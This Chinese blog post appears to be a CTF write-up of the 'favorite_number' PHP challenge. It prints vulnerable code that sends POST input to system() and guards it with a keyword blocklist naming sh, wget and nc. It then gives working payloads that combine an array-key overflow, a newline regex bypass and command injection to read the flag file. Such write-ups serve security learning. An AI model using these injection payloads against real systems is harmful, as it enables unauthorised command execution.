会飞的鱼

2020
Godam
首页 » 命令执行漏洞 » favorite_number PHP数组溢出 命令执行漏洞

favorite_number PHP数组溢出 命令执行漏洞

代码审计

<?php
//php5.5.9
$stuff = $_POST["stuff"];
$array = ['admin', 'user'];
if($stuff === $array && $stuff[0] != 'admin') {
    $num= $_POST["num"];
    if (preg_match("/^\d+$/im",$num)){
        if (!preg_match("/sh|wget|nc|python|php|perl|\?|flag|}|cat|echo|\*|\^|\]|\\\\|'|\"|\|/i",$num)){
            echo "my favorite num is:";
            system("echo ".$num);
        }else{
            echo 'Bonjour!';
        }
    }
} else {
    highlight_file(__FILE__);
}

它这个代码很简单,POST请求,然后第一层判断有个要求数组强等于但是首元素不等于,第二层是个正则,要求整个字符串都是数字,大小写不敏感,跨行检测,第三层是黑名单,将常用的命令执行语句给过滤了。

PHP数组溢出漏洞

PHP数组Key溢出问题
PHP数组溢出
根据这道题目我们来构建本题的payload
通过构造payload:stuff[4294967296]=admin&stuff[1]=user&num=123456

数字检测绕过

对于第二个可以通过%0a换行进行绕过,构造payload:
stuff[4294967296]=admin&stuff[1]=user&num=123%0als

命令执行

最后是进行命令执行,将最后一层判断绕过,在这里常用的有如下命令:

  • cat 由第一行显示并全部输出
  • tac 最后一行显示并全部输出
  • more 根据窗口大小一页一页显示
  • less 和more类似 但可向前翻页 并可搜索字符
  • head 只显示头几行
  • tail 只显示最后几行
  • nl 类似cat -n,显示时输出行号
    可以使用tac来显示

    inode索引结点

    payload:stuff[4294967296]=admin&stuff[1]=user&num=123%0als -i /,显示所有文件加索引。
    payload:stuff[4294967296]=admin&stuff[1]=user&num=123%0atacfind / -inum 20190647``
    显示flag

    输出到文件中

    stuff[4294967296]=admin&stuff[1]=user&num=123%0aprintf /fla > /tmp/hello %26%26 printf g >> /tmp/hello %26%26 tactac /tmp/hello``

文章如无特别注明均为原创! 作者: 果果, 转载或复制请以 超链接形式 并注明出处 GODAM|博客|godam
原文地址《 favorite_number PHP数组溢出 命令执行漏洞》发布于2021-1-13

分享到:
打赏

评论

游客

切换注册

登录

您也可以使用第三方帐号快捷登录

切换登录

注册

sitemap